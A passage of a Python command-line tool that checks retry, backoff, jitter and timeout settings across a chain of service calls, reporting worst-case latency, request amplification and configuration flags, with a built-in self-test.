"max_delay_ms": 2000, "jitter": "full", "per_try_timeout_ms": 5000,
"deadline_ms": 12000, "retry_on": [502, 503, 504, "timeout"],
"idempotent": true, "respect_retry_after": true}, ...]}
attempts = total tries including the first one (attempts 1 = no retries).
jitter: none | full | equal | decorrelated. Delay before retry k (k = 1..attempts-1):
none d = min(cap, base * multiplier^(k-1))
full U(0, d) equal d/2 + U(0, d/2)
decorrelated min(cap, U(base, 3 * previous)) (AWS style; expected value simulated, seed 7)
Reports per layer: delay schedule (min / expected / max), worst-case time for one call
(attempts x per-try timeout + max delays, cut at deadline), expected tries at the given
failure rate, and for the chain: worst-case and expected request amplification at the
innermost dependency. Flags:
NO_JITTER, NO_CAP, HOT_LOOP (base 0), TOO_MANY_ATTEMPTS (> 5), NO_PER_TRY_TIMEOUT,
NO_DEADLINE, DEADLINE_TOO_SHORT (deadline < one per-try timeout), INNER_OUTLIVES_CALLER
(worst case > the outer layer's per-try timeout), RETRY_UNSAFE (non-idempotent with
retries and no idempotency key), RETRY_ON_4XX (retrying 400/401/403/404/409/422),
IGNORES_RETRY_AFTER (retries 429/503 without honoring Retry-After), AMPLIFICATION.
Usage:
python3 retry_policy.py chain.json
python3 retry_policy.py chain.json --failure-rate 0.5 --json
python3 retry_policy.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import json
import random
import sys
JITTERS = ("none", "full", "equal", "decorrelated")
BAD_4XX = {400, 401, 403, 404, 405, 409, 410, 422}
SEVERITY = {"INNER_OUTLIVES_CALLER": "high", "RETRY_UNSAFE": "high", "AMPLIFICATION": "high",
"HOT_LOOP": "high", "NO_PER_TRY_TIMEOUT": "high", "RETRY_ON_4XX": "medium",
"NO_JITTER": "medium", "NO_CAP": "medium", "IGNORES_RETRY_AFTER": "medium",
"NO_DEADLINE": "medium", "DEADLINE_TOO_SHORT": "medium", "TOO_MANY_ATTEMPTS": "low"}
class PolicyError(ValueError):
pass
def num(layer, key, default=None, minimum=0):
v = layer.get(key, default)
if v is None:
return None
if isinstance(v, bool) or not isinstance(v, (int, float)):
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be a number")
if v < minimum:
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be >= {minimum}")
return v
def delays(layer):
"""Return [(min, expected, max)] in ms for each retry."""
n = int(layer["attempts"])
base, mult, cap = layer["base_delay_ms"], layer["multiplier"], layer["max_delay_ms"]
capf = (lambda x: x) if cap is None else (lambda x: min(cap, x))
j = layer["jitter"]
out = []
if j == "decorrelated":
rng = random.Random(7)
runs = 20000
sums = [0.0] * (n - 1)
for _ in range(runs):
prev = base
for k in range(n - 1):
prev = capf(rng.uniform(base, prev * 3)) if base > 0 else 0.0
sums[k] += prev
hi = base
for k in range(n - 1):
hi = capf(hi * 3)
out.append((capf(base), sums[k] / runs, hi))
return out
for k in range(n - 1):
d = capf(base * mult ** k)
if j == "none":
out.append((d, d, d))
elif j == "full":
out.append((0.0, d / 2, d))
else:
out.append((d / 2, d * 0.75, d))
return out
def normalize(raw):
layers = raw.get("layers") if isinstance(raw, dict) else None
if not layers or not isinstance(layers, list):
raise PolicyError("JSON must have a non-empty 'layers' list (outermost caller first)")
out = []
for i, l in enumerate(layers):
if not isinstance(l, dict):
raise PolicyError(f"layer {i} must be an object")
l = dict(l)
l.setdefault("name", f"layer {i + 1}")
a = num(l, "attempts", 1, 1)
if int(a) != a:
raise PolicyError(f"layer {l['name']!r}: attempts must be a whole number")
l["attempts"] = int(a)
l["base_delay_ms"] = num(l, "base_delay_ms", 0)
l["multiplier"] = num(l, "multiplier", 2, 1)
l["max_delay_ms"] = num(l, "max_delay_ms", None)
l["per_try_timeout_ms"] = num(l, "per_try_timeout_ms", None, 1)
l["deadline_ms"] = num(l, "deadline_ms", None, 1)
j = str(l.get("jitter", "none")).lower()
if j not in JITTERS:
raise PolicyError(f"layer {l['name']!r}: jitter must be one of {', '.join(JITTERS)}")
l["jitter"] = j
l["retry_on"] = list(l.get("retry_on", []))
l["idempotent"] = bool(l.get("idempotent", True))
l["idempotency_key"] = bool(l.get("idempotency_key", False))
l["respect_retry_after"] = bool(l.get("respect_retry_after", False))
out.append(l)
return out
def expected_tries(n, p):
if p >= 1:
return float(n)
return sum(p ** k for k in range(n))
def analyze(raw, failure_rate=None, max_amp=None):
layers = normalize(raw)
p = failure_rate if failure_rate is not None else raw.get("failure_rate", 0.2)
if not 0 <= p <= 1:
raise PolicyError("failure rate must be between 0 and 1")
max_amp = max_amp if max_amp is not None else raw.get("max_amplification", 10)
res = {"name": raw.get("name", "retry policy"), "failure_rate": p, "max_amplification": max_amp, "layers": []}
worst_amp, exp_amp = 1, 1.0
for i, l in enumerate(layers):
n = l["attempts"]
ds = delays(l)
flags = []
retries = n > 1
if retries and l["jitter"] == "none":
flags.append(("NO_JITTER", "all clients retry at the same moments; use full or decorrelated jitter"))
if retries and l["max_delay_ms"] is None and n > 3:
flags.append(("NO_CAP", "no max_delay_ms; exponential delays grow without bound"))
if retries and l["base_delay_ms"] == 0:
flags.append(("HOT_LOOP", "base_delay_ms is 0; retries fire immediately and hammer the dependency"))
if n > 5:
flags.append(("TOO_MANY_ATTEMPTS", f"{n} attempts; 3 (2 retries) is usually enough"))
if l["per_try_timeout_ms"] is None:
flags.append(("NO_PER_TRY_TIMEOUT", "no per-try timeout; one hung call can block every retry"))
if l["deadline_ms"] is None and retries:
flags.append(("NO_DEADLINE", "no overall deadline across attempts"))
if l["deadline_ms"] is not None and l["per_try_timeout_ms"] and l["deadline_ms"] < l["per_try_timeout_ms"]:
flags.append(("DEADLINE_TOO_SHORT", "deadline is shorter than a single try"))
if retries and not l["idempotent"] and not l["idempotency_key"]:
flags.append(("RETRY_UNSAFE", "retries a non-idempotent call without an idempotency key (double charge / duplicate write risk)"))
bad = sorted(c for c in l["retry_on"] if isinstance(c, int) and c in BAD_4XX)
if retries and bad:
flags.append(("RETRY_ON_4XX", f"retries client errors {bad}; they will fail the same way again"))
if retries and any(c in (429, 503) for c in l["retry_on"]) and not l["respect_retry_after"]:
flags.append(("IGNORES_RETRY_AFTER", "retries 429/503 but ignores the Retry-After header"))
max_delay_total = sum(d[2] for d in ds)
exp_delay_total = sum(d[1] for d in ds)
worst = None
if l["per_try_timeout_ms"] is not None:
worst = n * l["per_try_timeout_ms"] + max_delay_total
if l["deadline_ms"] is not None:
worst = min(worst, l["deadline_ms"])
elif l["deadline_ms"] is not None:
worst = l["deadline_ms"]
if i > 0:
parent = layers[i - 1]
pt = parent["per_try_timeout_ms"]
if pt is not None and (worst is None or worst > pt):
flags.append(("INNER_OUTLIVES_CALLER", f"worst case {fmt_ms(worst)} > caller per-try timeout {fmt_ms(pt)}; the caller gives up and retries while this layer is still working"))
et = expected_tries(n, p)
worst_amp *= n
exp_amp *= et
res["layers"].append({
"name": l["name"], "attempts": n, "jitter": l["jitter"],
"delays_ms": [[round(a, 1), round(b, 1), round(c, 1)] for a, b, c in ds],
"max_delay_total_ms": round(max_delay_total, 1), "expected_delay_total_ms": round(exp_delay_total, 1),
"per_try_timeout_ms": l["per_try_timeout_ms"], "deadline_ms": l["deadline_ms"],
"worst_case_ms": None if worst is None else round(worst, 1),
"expected_tries": round(et, 3), "cumulative_worst_amplification": worst_amp,
"cumulative_expected_amplification": round(exp_amp, 3),
"flags": [{"code": c, "severity": SEVERITY[c], "detail": d} for c, d in flags]})
if worst_amp > max_amp:
res["layers"][-1]["flags"].append({"code": "AMPLIFICATION", "severity": "high",
"detail": f"one top-level request can become {worst_amp} calls to the innermost dependency during an outage (limit {max_amp}); retry at one layer only or add a retry budget"})
res["worst_amplification"] = worst_amp
res["expected_amplification"] = round(exp_amp, 3)
res["high_flags"] = sum(1 for l in res["layers"] for f in l["flags"] if f["severity"] == "high")
return res
def fmt_ms(v):
if v is None:
return "unbounded"
if v >= 1000:
s = f"{v / 1000:.2f}".rstrip("0").rstrip(".")
return s + " s"
return f"{v:g} ms"
def to_markdown(r):
out = [f"# Retry policy report: {r['name']}", "",
f"Failure rate used for expected values: {r['failure_rate']:.0%}", "",
"| Layer | Attempts | Jitter | Max total delay | Per-try timeout | Deadline | Worst case | Expected tries |",
"|---|---|---|---|---|---|---|---|"]
for l in r["layers"]:
out.append(f"| {l['name']} | {l['attempts']} | {l['jitter']} | {fmt_ms(l['max_delay_total_ms'])} | "
f"{fmt_ms(l['per_try_timeout_ms'])} | {fmt_ms(l['deadline_ms'])} | {fmt_ms(l['worst_case_ms'])} | {l['expected_tries']:g} |")
out += ["", "## Delay schedule (min / expected / max)"]
for l in r["layers"]:
if not l["delays_ms"]:
out.append(f"- {l['name']}: no retries")
continue
parts = [f"retry {k + 1}: {fmt_ms(a)} / {fmt_ms(b)} / {fmt_ms(c)}" for k, (a, b, c) in enumerate(l["delays_ms"])]
out.append(f"- {l['name']}: " + "; ".join(parts))
out += ["", "## Amplification at the innermost dependency",
f"- Worst case (every try fails): {r['worst_amplification']} calls per top-level request",
f"- Expected at {r['failure_rate']:.0%} failure rate: {r['expected_amplification']:g} calls per top-level request", "",
"## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for l in r["layers"]:
for f in l["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** ({l['name']}): {f['detail']}")
if not n:
out.append("- No findings.")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(**kw):
base = {"name": "x", "attempts": 3, "base_delay_ms": 100, "multiplier": 2, "max_delay_ms": 1000,
"jitter": "full", "per_try_timeout_ms": 1000, "deadline_ms": 5000, "retry_on": [503],
"respect_retry_after": True}
base.update(kw)
return base
def codes(r, i=0):
return {f["code"] for f in r["layers"][i]["flags"]}
d = delays(normalize({"layers": [one(jitter="none", attempts=5)]})[0])
ok("exponential no jitter 100,200,400,800", [x[2] for x in d] == [100, 200, 400, 800])
d = delays(normalize({"layers": [one(jitter="none", attempts=6)]})[0])
ok("cap applied at 1000", d[-1][2] == 1000 and d[-2][2] == 800)
d = delays(normalize({"layers": [one(jitter="full")]})[0])
ok("full jitter mean half", d[0] == (0.0, 50.0, 100))
d = delays(normalize({"layers": [one(jitter="equal")]})[0])
ok("equal jitter 50..100 mean 75", d[0] == (50.0, 75.0, 100))
d = delays(normalize({"layers": [one(jitter="decorrelated", attempts=4)]})[0])
ok("decorrelated within bounds", all(a <= b <= c for a, b, c in d) and d[0][2] == 300 and d[2][2] == 1000)
r = analyze({"layers": [one()]})
ok("clean policy has no flags", not codes(r))
ok("worst case = 3x1000 + 100 + 200", r["layers"][0]["worst_case_ms"] == 3300)
r = analyze({"layers": [one(deadline_ms=2000)]})
ok("deadline caps worst case", r["layers"][0]["worst_case_ms"] == 2000)
ok("expected tries p=0.5 n=3 is 1.75", expected_tries(3, 0.5) == 1.75 and expected_tries(3, 1) == 3)
ok("no jitter flagged", "NO_JITTER" in codes(analyze({"layers": [one(jitter="none")]})))
ok("hot loop flagged", "HOT_LOOP" in codes(analyze({"layers": [one(base_delay_ms=0)]})))
ok("no cap flagged with 4+ attempts", "NO_CAP" in codes(analyze({"layers": [one(max_delay_ms=None, attempts=4)]})))
ok("unsafe retry flagged", "RETRY_UNSAFE" in codes(analyze({"layers": [one(idempotent=False)]})))
ok("idempotency key makes it safe", "RETRY_UNSAFE" not in codes(analyze({"layers": [one(idempotent=False, idempotency_key=True)]})))
ok("4xx retry flagged", "RETRY_ON_4XX" in codes(analyze({"layers": [one(retry_on=[400, 503])]})))
ok("Retry-After ignored flagged", "IGNORES_RETRY_AFTER" in codes(analyze({"layers": [one(retry_on=[429], respect_retry_after=False)]})))
ok("single attempt is not a retry policy", not codes(analyze({"layers": [one(attempts=1, jitter="none", deadline_ms=None)]})))
r = analyze({"layers": [one(per_try_timeout_ms=2000, deadline_ms=None), one(per_try_timeout_ms=1000, deadline_ms=None)]})
ok("inner outlives caller flagged", "INNER_OUTLIVES_CALLER" in codes(r, 1))
r = analyze({"layers": [one(per_try_timeout_ms=4000), one(per_try_timeout_ms=1000, deadline_ms=3500)]})
ok("inner within caller timeout ok", "INNER_OUTLIVES_CALLER" not in codes(r, 1))
r = analyze({"layers": [one(), one(), one()], "max_amplification": 10})
ok("3x3x3 amplification 27 flagged", r["worst_amplification"] == 27 and "AMPLIFICATION" in codes(r, 2))
r = analyze({"layers": [one(), one()]}, failure_rate=0.5)
ok("expected amplification 1.75^2", r["expected_amplification"] == 3.062)
for bad, label in ((({"layers": []}), "empty layers rejected"), (({"layers": [one(jitter="random")]}), "bad jitter rejected"),
(({"layers": [one(attempts=0)]}), "zero attempts rejected"), (({"layers": [one(attempts=2.5)]}), "fractional attempts rejected")):
try:
analyze(bad)
ok(label, False)
except PolicyError:
ok(label, True)
ok("fmt_ms", fmt_ms(1500) == "1.5 s" and fmt_ms(250) == "250 ms" and fmt_ms(None) == "unbounded")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Check retry/backoff/timeout policies across a call chain.")
ap.add_argument("file", nargs="?", help="chain JSON ('-' for stdin)")
ap.add_argument("--failure-rate", type=float, help="probability that one try fails (default from file or 0.2)")
ap.add_argument("--max-amplification", type=float, help="flag chains above this worst-case amplification (default 10)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("chain JSON required (or --self-test)")
try:
raw = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = analyze(raw, a.failure_rate, a.max_amplification)
except (OSError, PolicyError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())